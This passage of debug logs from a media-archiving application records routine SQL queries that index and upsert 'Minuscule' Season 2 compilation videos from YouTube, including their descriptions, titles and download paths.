Compilation [xQPQfuEUDH0].mp4", false, ~U[2025-10-28 15:02:07Z]] 22:15:38.950 [debug] QUERY OK source="sources" db=0.2ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:38.951 [debug] QUERY OK source="media_items" db=0.6ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-01 19:00:34Z], 5] 22:15:38.957 [debug] QUERY OK source="media_items" db=4.6ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | High voltage | S02E30\n00:03:34 | Spider Driver | S02E36\n00:07:15 | Labyrinth | S02E69\n00:11:01 | Bzzaping | S02E03\n00:14:48 | Spider from the Depths | S02E31\n00:18:22 | Refrigerated | S02E65\n00:21:57 | Brushing | S02E46\n00:25:29 | Ladybugland | S02E62\n00:28:57 | Ants On The Train | S02E52\n00:32:28 | Snow Fly | S02E51\n00:35:53 | The Stubborn Spider | S02E04\n00:39:38 | A Pathetic She'Nut'Igan | S02E12\n00:43:24 | Fly Hunting | S02E24\n00:46:57 | Turbo speed | S02E58\n00:50:22 | The Iron Monster | S02E33\n00:53:55 | Summer Hat | S02E48\n00:57:37 | Microzilla | S02E07\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#electricity #spider #fly #danger #flies #ladybug #car #Minuscule #nature #insects #ladybugs #animatedseries", "High voltage | Minuscule 🍃 80' Compilation", "282c9fc5-9048-42e1-8a8b-91ec4b9805a4", "UXxEZXNs1RM", 3721, false, 5, "https://www.youtube.com/watch?v=UXxEZXNs1RM", 18, "/downloads/Miniscule Season 2/2025-11-01 High voltage | Minuscule 🍃 80' Compilation/High voltage | Minuscule 🍃 80' Compilation [UXxEZXNs1RM].mp4", false, false, false, [], 1, ~U[2025-11-01 19:00:34Z], ~U[2025-12-12 05:15:38Z], ~U[2025-12-12 05:15:38Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | High voltage | S02E30\n00:03:34 | Spider Driver | S02E36\n00:07:15 | Labyrinth | S02E69\n00:11:01 | Bzzaping | S02E03\n00:14:48 | Spider from the Depths | S02E31\n00:18:22 | Refrigerated | S02E65\n00:21:57 | Brushing | S02E46\n00:25:29 | Ladybugland | S02E62\n00:28:57 | Ants On The Train | S02E52\n00:32:28 | Snow Fly | S02E51\n00:35:53 | The Stubborn Spider | S02E04\n00:39:38 | A Pathetic She'Nut'Igan | S02E12\n00:43:24 | Fly Hunting | S02E24\n00:46:57 | Turbo speed | S02E58\n00:50:22 | The Iron Monster | S02E33\n00:53:55 | Summer Hat | S02E48\n00:57:37 | Microzilla | S02E07\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#electricity #spider #fly #danger #flies #ladybug #car #Minuscule #nature #insects #ladybugs #animatedseries", "High voltage | Minuscule 🍃 80' Compilation", "UXxEZXNs1RM", 3721, false, 5, "https://www.youtube.com/watch?v=UXxEZXNs1RM", "/downloads/Miniscule Season 2/2025-11-01 High voltage | Minuscule 🍃 80' Compilation/High voltage | Minuscule 🍃 80' Compilation [UXxEZXNs1RM].mp4", false, ~U[2025-11-01 19:00:34Z]] 22:15:38.957 [debug] QUERY OK source="sources" db=0.2ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:38.958 [debug] QUERY OK source="media_items" db=0.5ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-23 10:00:48Z], 5] 22:15:38.964 [debug] QUERY OK source="media_items" db=5.0ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Monster Of The Haunted Swamp | S02E37\n00:03:30 | The Iron Monster | S02E33\n00:07:04 | The Mosquito Of The Caribbean | S02E57\n00:10:49 | Microzilla | S02E07\n00:14:35 | The Hat Of The Medusa | S02E17\n00:18:20 | Zzz zzz | S02E44\n00:21:51 | Ladybugland | S02E62\n00:25:18 | Mission : BBQ | S02E09\n00:29:04 | Homeless | S02E02\n00:32:51 | Spider from the Depths | S02E31\n00:36:26 | Night of the Gastropods | S02E18\n00:40:11 | Sausage Predator | S02E06\n00:43:57 | The Annoying Neighbor | S02E28\n00:47:33 | Summer Hat | S02E48\n00:51:14 | An Acorn Season | S02E05\n00:55:00 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Monster #Swamp #Insects #Sounds #Iron #Panic #Minuscule #nature #insects #ladybugs #animatedseries", "The Monster Of The Haunted Swamp 🎃 Minuscule 🍃 75' Compilation", "3df79fdf-7ed3-4e46-8f77-77777e2b7775", "N5cGHceTqJU", 3564, false, 5, "https://www.youtube.com/watch?v=N5cGHceTqJU", 19, "/downloads/Miniscule Season 2/2025-10-23 The Monster Of The Haunted Swamp 🎃 Minuscule 🍃 75' Compilation/The Monster Of The Haunted Swamp 🎃 Minuscule 🍃 75' Compilation [N5cGHceTqJU].mp4", false, false, false, [], 1, ~U[2025-10-23 10:00:48Z], ~U[2025-12-12 05:15:38Z], ~U[2025-12-12 05:15:38Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Monster Of The Haunted Swamp | S02E37\n00:03:30 | The Iron Monster | S02E33\n00:07:04 | The Mosquito Of The Caribbean | S02E57\n00:10:49 | Microzilla | S02E07\n00:14:35 | The Hat Of The Medusa | S02E17\n00:18:20 | Zzz zzz | S02E44\n00:21:51 | Ladybugland | S02E62\n00:25:18 | Mission : BBQ | S02E09\n00:29:04 | Homeless | S02E02\n00:32:51 | Spider from the Depths | S02E31\n00:36:26 | Night of the Gastropods | S02E18\n00:40:11 | Sausage Predator | S02E06\n00:43:57 | The Annoying Neighbor | S02E28\n00:47:33 | Summer Hat | S02E48\n00:51:14 | An Acorn Season | S02E05\n00:55:00 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Monster #Swamp #Insects #Sounds #Iron #Panic #Minuscule #nature #insects #ladybugs #animatedseries", "The Monster Of The Haunted Swamp 🎃 Minuscule 🍃 75' Compilation", "N5cGHceTqJU", 3564, false, 5, "https://www.youtube.com/watch?v=N5cGHceTqJU", "/downloads/Miniscule Season 2/2025-10-23 The Monster Of The Haunted Swamp 🎃 Minuscule 🍃 75' Compilation/The Monster Of The Haunted Swamp 🎃 Minuscule 🍃 75' Compilation [N5cGHceTqJU].mp4", false, ~U[2025-10-23 10:00:48Z]] 22:15:38.965 [debug] QUERY OK source="sources" db=0.4ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:38.966 [debug] QUERY OK source="media_items" db=0.5ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-14 06:00:53Z], 5] 22:15:38.971 [debug] QUERY OK source="media_items" db=4.9ms idle=7.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Umbrella And Coconut Trees | S02E71\n00:03:33 | Down The Chimney | S02E42\n00:07:19 | Trapped | S02E64\n00:11:01 | Zzz In The Metro | S02E53\n00:14:37 | Away all boarders! | S02E41\n00:18:19 | Summer Hat | S02E48\n00:22:01 | Metamorphosis | S02E61\n00:25:31 | Beehive On A Troll | S02E56\n00:29:02 | Snow Carrot | S02E59\n00:32:40 | Ladybugland | S02E62\n00:36:08 | The Wing Case | S02E01\n00:39:53 | If Only Lonely | S02E22\n00:43:39 | Turbo speed | S02E58\n00:47:03 | Snow Fly | S02E51\n00:50:28 | The Housing Plant Project | S02E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#umbrella #coconut #ladybug #winter #ladybugs #chimney #Christmas #Minuscule #nature #insects #animatedseries", "Umbrella And Coconut Trees ☂️ Minuscule 🍃 70' Compilation", "56d3c1bb-5fd5-4b7c-9bfd-1fed3e914c15", "wJ_yF5dN89w", 3283, false, 5, "https://www.youtube.com/watch?v=wJ_yF5dN89w", 21, "/downloads/Miniscule Season 2/2025-10-14 Umbrella And Coconut Trees ☂️ Minuscule 🍃 70' Compilation/Umbrella And Coconut Trees ☂️ Minuscule 🍃 70' Compilation [wJ_yF5dN89w].mp4", false, false, false, [], 1, ~U[2025-10-14 06:00:53Z], ~U[2025-12-12 05:15:38Z], ~U[2025-12-12 05:15:38Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Umbrella And Coconut Trees | S02E71\n00:03:33 | Down The Chimney | S02E42\n00:07:19 | Trapped | S02E64\n00:11:01 | Zzz In The Metro | S02E53\n00:14:37 | Away all boarders! | S02E41\n00:18:19 | Summer Hat | S02E48\n00:22:01 | Metamorphosis | S02E61\n00:25:31 | Beehive On A Troll | S02E56\n00:29:02 | Snow Carrot | S02E59\n00:32:40 | Ladybugland | S02E62\n00:36:08 | The Wing Case | S02E01\n00:39:53 | If Only Lonely | S02E22\n00:43:39 | Turbo speed | S02E58\n00:47:03 | Snow Fly | S02E51\n00:50:28 | The Housing Plant Project | S02E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#umbrella #coconut #ladybug #winter #ladybugs #chimney #Christmas #Minuscule #nature #insects #animatedseries", "Umbrella And Coconut Trees ☂️ Minuscule 🍃 70' Compilation", "wJ_yF5dN89w", 3283, false, 5, "https://www.youtube.com/watch?v=wJ_yF5dN89w", "/downloads/Miniscule Season 2/2025-10-14 Umbrella And Coconut Trees ☂️ Minuscule 🍃 70' Compilation/Umbrella And Coconut Trees ☂️ Minuscule 🍃 70' Compilation [wJ_yF5dN89w].mp4", false, ~U[2025-10-14 06:00:53Z]] 22:15:38.972 [debug] QUERY OK source="sources" db=0.3ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:38.973 [debug] QUERY OK source="media_items" db=0.6ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-11 18:00:52Z], 5] 22:15:38.979 [debug] QUERY OK source="media_items" db=4.8ms idle=7.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Acrobatics | S02E16\n00:03:45 | Top Tabasco | S02E70\n00:07:23 | Go Blue Go! | S02E54\n00:11:04 | Chewing gum rodeo | S02E14\n00:14:50 | The Chocolate Chase! | S02E19\n00:18:35 | Mission : BBQ | S02E09\n00:22:21 | Honey Fly | S02E08\n00:26:11 | Zzz In The Metro | S02E53\n00:29:46 | It's a tie! | S02E67\n00:33:27 | Turbo speed | S02E58\n00:36:51 | The Annoying Neighbor | S02E28\n00:40:27 | An Acorn Season | S02E05\n00:44:13 | Fly Hunting | S02E24\n00:47:46 | Trapped | S02E64\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Acrobatics #Wasps #Ladybird #Competition #Tabasco #wasp #patrol #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "Acrobatics 🎃 Minuscule 🍃 70' Compilation", "c206d543-abb9-4dd7-bf86-5aeb39acd40e", "u9kg6go3tPc", 3128, false, 5, "https://www.youtube.com/watch?v=u9kg6go3tPc", 22, "/downloads/Miniscule Season 2/2025-10-11 Acrobatics 🎃 Minuscule 🍃 70' Compilation/Acrobatics 🎃 Minuscule 🍃 70' Compilation [u9kg6go3tPc].mp4", false, false, false, [], 1, ~U[2025-10-11 18:00:52Z], ~U[2025-12-12 05:15:38Z], ~U[2025-12-12 05:15:38Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Acrobatics | S02E16\n00:03:45 | Top Tabasco | S02E70\n00:07:23 | Go Blue Go! | S02E54\n00:11:04 | Chewing gum rodeo | S02E14\n00:14:50 | The Chocolate Chase! | S02E19\n00:18:35 | Mission : BBQ | S02E09\n00:22:21 | Honey Fly | S02E08\n00:26:11 | Zzz In The Metro | S02E53\n00:29:46 | It's a tie! | S02E67\n00:33:27 | Turbo speed | S02E58\n00:36:51 | The Annoying Neighbor | S02E28\n00:40:27 | An Acorn Season | S02E05\n00:44:13 | Fly Hunting | S02E24\n00:47:46 | Trapped | S02E64\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Acrobatics #Wasps #Ladybird #Competition #Tabasco #wasp #patrol #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "Acrobatics 🎃 Minuscule 🍃 70' Compilation", "u9kg6go3tPc", 3128, false, 5, "https://www.youtube.com/watch?v=u9kg6go3tPc", "/downloads/Miniscule Season 2/2025-10-11 Acrobatics 🎃 Minuscule 🍃 70' Compilation/Acrobatics 🎃 Minuscule 🍃 70' Compilation [u9kg6go3tPc].mp4", false, ~U[2025-10-11 18:00:52Z]] 22:15:38.979 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:38.980 [debug] QUERY OK source="media_items" db=0.6ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-07 06:00:44Z], 5] 22:15:38.986 [debug] QUERY OK source="media_items" db=4.6ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mission : BBQ | S02E09\n00:03:45 | Top Tabasco | S02E70\n00:07:23 | Ladybugland | S02E62\n00:10:50 | Trapped | S02E64\n00:14:33 | Fly Hunting | S02E24\n00:18:06 | The Chocolate Chase! | S02E19\n00:21:52 | Patatas Fritas | S02E21\n00:25:38 | Spider Driver | S02E36\n00:29:19 | The Grocery Store Incident | S02E39\n00:32:50 | Turbo speed | S02E58\n00:36:14 | Sausage Predator | S02E06\n00:40:00 | Chewing gum rodeo | S02E14\n00:43:45 | Acrobatics | S02E16\n00:47:31 | Zzz In The Metro | S02E53\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Tabasco #wasp #patrol #ladybug #BBQ #garden #insects #wasps #Minuscule #nature #ladybugs #animatedseries", "Mission : BBQ 🎃 Minuscule 🍃 65' Compilation", "4965f898-1901-4762-8e1e-41b8b555f925", "mRDF4eQMrp0", 3105, false, 5, "https://www.youtube.com/watch?v=mRDF4eQMrp0", 23, "/downloads/Miniscule Season 2/2025-10-07 Mission : BBQ 🎃 Minuscule 🍃 65' Compilation/Mission : BBQ 🎃 Minuscule 🍃 65' Compilation [mRDF4eQMrp0].mp4", false, false, false, [], 1, ~U[2025-10-07 06:00:44Z], ~U[2025-12-12 05:15:38Z], ~U[2025-12-12 05:15:38Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mission : BBQ | S02E09\n00:03:45 | Top Tabasco | S02E70\n00:07:23 | Ladybugland | S02E62\n00:10:50 | Trapped | S02E64\n00:14:33 | Fly Hunting | S02E24\n00:18:06 | The Chocolate Chase! | S02E19\n00:21:52 | Patatas Fritas | S02E21\n00:25:38 | Spider Driver | S02E36\n00:29:19 | The Grocery Store Incident | S02E39\n00:32:50 | Turbo speed | S02E58\n00:36:14 | Sausage Predator | S02E06\n00:40:00 | Chewing gum rodeo | S02E14\n00:43:45 | Acrobatics | S02E16\n00:47:31 | Zzz In The Metro | S02E53\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Tabasco #wasp #patrol #ladybug #BBQ #garden #insects #wasps #Minuscule #nature #ladybugs #animatedseries", "Mission : BBQ 🎃 Minuscule 🍃 65' Compilation", "mRDF4eQMrp0", 3105, false, 5, "https://www.youtube.com/watch?v=mRDF4eQMrp0", "/downloads/Miniscule Season 2/2025-10-07 Mission : BBQ 🎃 Minuscule 🍃 65' Compilation/Mission : BBQ 🎃 Minuscule 🍃 65' Compilation [mRDF4eQMrp0].mp4", false, ~U[2025-10-07 06:00:44Z]] 22:15:38.986 [debug] QUERY OK source="sources" db=0.3ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:38.987 [debug] QUERY OK source="media_items" db=0.6ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-25 10:00:02Z], 5] 22:15:38.993 [debug] QUERY OK source="media_items" db=4.6ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Mosquito Of The Caribbean | S02E57\n00:03:45 | Zzz zzz | S02E44\n00:07:16 | Sunburn | S02E40\n00:10:40 | Zzz In The Metro | S02E53\n00:14:16 | Trapped | S02E64\n00:17:58 | Summer Hat | S02E48\n00:21:40 | The Hat Of The Medusa | S02E17\n00:25:25 | The Monster Of The Haunted Swamp | S02E37\n00:28:56 | Mission : BBQ | S02E09\n00:32:41 | Labyrinth | S02E69\n00:36:27 | Refrigerated | S02E65\n00:40:01 | Microzilla | S02E07\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights 